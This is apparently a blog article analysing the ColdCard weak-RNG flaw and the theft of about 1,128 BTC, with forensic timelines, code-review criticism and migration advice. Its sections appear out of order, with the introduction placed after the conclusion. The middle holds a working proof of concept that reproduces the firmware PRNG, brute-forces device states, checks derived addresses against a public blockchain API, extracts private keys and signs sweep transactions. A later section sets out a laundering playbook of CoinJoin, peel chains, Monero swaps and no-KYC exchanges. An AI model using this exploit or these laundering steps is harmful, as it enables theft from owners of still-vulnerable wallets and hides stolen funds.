• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — received ~89.623 BTC in a single transaction with 204 inputs (4b50d61a...).

Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to 1,128.6633 BTC.

The first cluster moved ~562 BTC to bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; that is the same money, not a fourth victim.

A concrete example: transaction 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolidates three inputs from the same vulnerable address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, one of them almost 29.9 BTC. All three inputs use the same compressed public key:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.

Other source addresses with large values include bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24.08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14.43 BTC), and bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.

Bitcoin Optech issue 416 estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms at least 1,128.6633 BTC stolen.

What the blockchain timeline suggests about attack order

coldcard-watch shows two distinct episodes, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.

This two-wave pattern fits two interpretations:

1. Same attacker, pre-computed in batches. The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.
2. Multiple attackers. After the flaw became public, other actors joined with their own dictionaries of likely states.

Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:

• ~40 bits of effective entropy ≈ 2^40 ≈ 1.1 trillion candidate states.
• On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about 13 days to search exhaustively. With 100 GPUs/FPGAs, it drops to a few hours.
• Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as Block points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.

Mk4/Q/Mk5 with reseed depends on how well the fallback is known:

• If the fallback is known, only the 32 bits from the secure element remain: 2^32 ≈ 4.3 billion candidates per device, or about 1.2 hours per device at 1 million/s.
• If the fallback is completely unknown, the space rises to ~2^72, about 4.7 sextillion candidates — infeasible by brute force alone.

That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.

The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.

What the chain reveals about the operation

coldcard-hack.up.railway.app analyzes in detail the three waves that emptied 1,082.59 BTC in 41 minutes (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:

Notable details:

• Sorted by balance: within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.
• Identical shape: all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.
• Uniform fee rate: median of 30.136986 sat/vB across all waves — the same script choosing the fee.
• Address types: 1,182 were native SegWit (v0_p2wpkh), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.
• Funds still sitting: when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.

All of this points to a single automated operation, not 1,195 independent thefts.

How this slipped through

The same coldcard-hack.up.railway.app maps the commits that introduced the bug. The most damning facts:

• The commit that added the wrong #ifndef guard in libngu had a one-character message, changed 28 files, and did not go through a pull request.
• The First pass w/ libNgU commit, which migrated seed generation to libngu and stripped GPL code, changed 120 files and was also pushed directly, with no PR.
• The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but merged with zero reviews.

A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.

The conceptual attack flow

Before the code, the general flow:

1. Reproduce the RNG. The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in libNgU.
2. Enumerate plausible states. For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.
3. Derive the wallet. From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.
4. Query the blockchain. For each derived address, ask an explorer or a local node whether a UTXO exists.
5. Stop at the match. When a derived address matches an address with balance, the attacker already has the corresponding private key.
6. Spend. With the private key, build a transaction that moves the UTXO to an address they control.

The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.

Proof-of-concept code

The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.

1. The broken PRNG: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; mutates the list and returns a uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

What it does: implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the MicroPython source.

State example:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. From RNG state to ColdCard entropy

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simulates what the ColdCard did to generate the 32 entropy bytes.

    - MicroPython initializes its Yasmarang with:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU keeps a second Yasmarang with public constants.
    - Each 32-bit word is: chip ^ my_yasmarang().
    - On Mk4/Q/Mk5, reseed changes the libNgU 'pad' state.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() in the firmware only overwrites yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # The ColdCard may make extra calls before generating the seed (health
    # check, etc.). In practice the attacker models the exact call history.
    # Here we simplify to 8 words = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

What it does: builds the initial state. The MicroPython pad is UID_low32 ^ SysTick; n and d come from the RTC. libNgU enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.

Example:

>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. From entropy to a Bitcoin address

def first_addresses(entropy_bytes, account=0):
    """
    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
    and the first native SegWit receiving and change addresses.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

What it does: takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.

Example:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Query the public blockchain as an oracle

def has_utxo(address):
    """True if the address has any UTXO according to mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("error querying", address, e)
        return False

What it does: asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.

Non-hit example:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

The attacker discards it and moves to the next candidate.

Hit example (the real victim address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, before the sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

When has_utxo returns True, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.

5. Enumerate candidates and hunt

def brute_mk3(uid_low32):
    """
    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
    In practice the attacker uses GPUs/FPGAs and constrains the UID from
    the device serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
    the 2^32 possible secure-element reseed values.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("HIT!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  address :", addr)
                return candidate


# Didactic example: use a known UID and a reduced Mk3 generator.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

What they do: brute_mk3 scans plausible states for Mk3; brute_mk4 scans the 2^32 secure-element reseeds; hunt is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.

After finding the collision

When hunt returns, the attacker already has the mnemonic and the funded address. From there, they get the private key:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("Compressed WIF:", addr_key.key.wif())
print("Address       :", addr_key.address())

Typical output:

Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

That WIF is the private key in a format any wallet understands. From here the attacker can:

1. Import the seed or the WIF into Sparrow, Electrum, or another wallet.
2. Rescan the blockchain to see all UTXOs for that seed.
3. Build a transaction sending the funds to an address they control.
4. Sign and broadcast.

Concrete sweep example

In the real case, the attacker swept the 29.89251877 BTC UTXO from address bc1qe85jr... to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# key recovered from the collided seed
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, in satoshis
fee          = 7_380              # fee in satoshis
output_value = input_value - fee  # what is left for the attacker

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # victim UTXO txid
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # attacker address
tx.sign()

print(tx.raw_hex())

A valid signed transaction looks like this (hex truncated):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.

In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.

What this bug class means

This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on entropy. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.

Three lessons:

1. Do not trust the appearance of randomness. Yasmarang’s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.
2. Hashing does not create entropy. Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most 2^40 possible hashes. The attacker enumerates inputs, not hashes.
3. The blockchain is public and permanent. A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.

Can the attacker be caught?

Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: “can the person be traced?”. The short answer is: maybe, but it is not trivial, and tracing is not the same as recovering the bitcoins.

Clay Garrett, who is among the people investigating the case, published a thread on X claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider’s logs allegedly matched, with “extraordinary specificity,” the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.

What this means, if confirmed:

• A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.
• If the account was KYC’d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.
• Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.
• The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.

So the thread points to a promising line of investigation, but it is an ongoing allegation, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.

What the attacker has not done yet

So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.

What a mixer is, and why it has not been used

A mixer (or tumbler) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of “where it came from.”

The classic model is CoinJoin: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like Wasabi Wallet and Samourai Wallet implement CoinJoin automatically. Samourai even offered a service called Whirlpool, where UTXOs go through remix rounds that make tracing even harder.

Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like Bitcoin Fog and Helix historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.

In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims’ wallets into three large clusters and have not moved since. That can mean several things:

1. The attacker is still getting ready. Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.
2. The attacker did not expect this much visibility. Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.
3. The attacker may be negotiating a recovery. Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief’s anonymity.

How one normally hides a haul like this

If the operator really wants to make tracing difficult, the standard playbook involves several layers:

1. CoinJoin rounds. The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.
2. Peel chain. Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.
3. Instant swaps and bridges. Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.
4. Weak-KYC or no-KYC exchanges. Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.
5. Offshore fiat. The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.

None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.

Why this matters now

The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.

But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being “where is the money?” and becomes “who can we arrest?”. Recovering the asset becomes technically infeasible for most victims.

In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.

Conclusion

If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.

The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.

The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer’s TRNG, an offline host). And test recovery before sending meaningful value.

Do not trust a company, certification, influencer, or article. Not even this one. Verify.

I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address received 594.47723261 BTC across 501 outputs. That is public blockchain data, not a Telegram screenshot. Issue 416 of Bitcoin Optech, published while the case was still unfolding, already estimated losses above 1,000 BTC.

The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite’s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.

Do not panic and type your 24 words into the first website that promises to “check your ColdCard” either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.

Who needs to act now

The vulnerability is in seed generation. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.

In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution. The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.

According to Coinkite’s advisory and Block’s independent analysis, treat as compromised any seed generated under these conditions:

Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.

There is one important exception: anyone who added at least 50 fair, independent, and private die rolls during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from this bug alone. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.

A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.

Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger. The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.

I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.

The bug: #ifndef does not mean “if true”

Coinkite’s technical postmortem is an embarrassing read.

In March 2021, the firmware replaced ckcc.rng_bytes() with ngu.random.bytes() during its migration to libNgU and the libsecp256k1 used by Bitcoin Core. The library choice was good. The integration was disastrous.

The build code defined:

#define MICROPY_HW_ENABLE_RNG (0)

But the guard in libNgU checked this:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, rng_get() pointed to MicroPython’s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.

Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between “create new wallet” and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.

On the Mk3, Coinkite’s preliminary estimate is around 40 bits of effective entropy, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately 72 bits. Block’s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.

Passing bad output through SHA-256 does not create entropy. If only 2^40 inputs exist, at most 2^40 possible hashes exist. They look nice and uniform and remain enumerable.

This sat on the most important path in the product for more than five years.

How a 120-file rewrite got us here

Zach Herbert published a timeline worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.

In July 2020, Foundation announced that its first Passport would build on ColdCard’s GPLv3 firmware. Two days later, NVK publicly complained about the “clone” and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.

On March 1 came the First pass w/ libNgU commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.

There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting libsecp256k1, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.

That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.

This was a white swan, not a black swan

I have already seen people call this a “black swan,” as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.

The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect #ifndef was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.

A black swan is rare, surprising, and only looks obvious afterward. This was a white swan: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.

And Coinkite helped reduce the number of people willing to defuse it.

In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk responsibly disclosed a critical multisig flaw. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun’s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.

The current responsible disclosure policy still leaves reward amount, eligibility, and timing to the company’s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in “we are not here to make it easy for you,” as if antagonizing people who audit your vault demonstrated personality.

Zach Herbert also documented NVK’s public attacks on Foundation after it used ColdCard’s GPL code: “pure clone,” “leeches,” and “affinity scamming.” Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.

I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.

So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life’s savings.

No, “AI broke Bitcoin” my ass

Coinkite wrote that, because the firmware was public, “we have to assume” someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.

NVK later published an apology on Coinkite’s behalf. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users’ trust. That is the bare minimum, but it matters that he said it.

The problem is that he ended by trying to turn the disaster into “a sober reality of the new AI paradigm,” arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.

Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that #ifndef, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.

After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, secp256k1, SHA-256, BIP39, or Bitcoin.

The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.

AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.

What a wallet actually stores

Bitcoin does not sit “inside” a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.

At the most basic level, a private key is an integer chosen within the domain of the secp256k1 curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.

I explained this foundation more carefully in [Akitando #67] Understanding Basic Cryptography Concepts - Part 1 and [Akitando #68] Understanding Basic Cryptography Concepts - Part 2.

A modern wallet does not draw an independent key for each address. It starts with a root and uses BIP32 to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.

BIP39 is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.

Twelve or 24 words is the wrong question

A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.

But “24 words” does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.

That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called rand() with a timestamp.

RNG, TRNG, and independent sources

RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.

A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. Ledger explains its process as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.

Other projects prefer to combine sources. Trezor uses entropy from the device and host. BitBox02 documents five sources: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.

The word that matters here is independence. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.

And “combined correctly” carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.

Rolling dice is not that simple

Each roll of an ideal D6 provides log2(6), about 2.585 bits. That is where the figures of 50 rolls for 128 bits and 99 rolls for approximately 256 bits come from. ColdCard’s documentation shows the calculation and the SHA-256 applied to the sequence. SeedSigner uses the same thresholds: 50 for 12 words or 99 for 24.

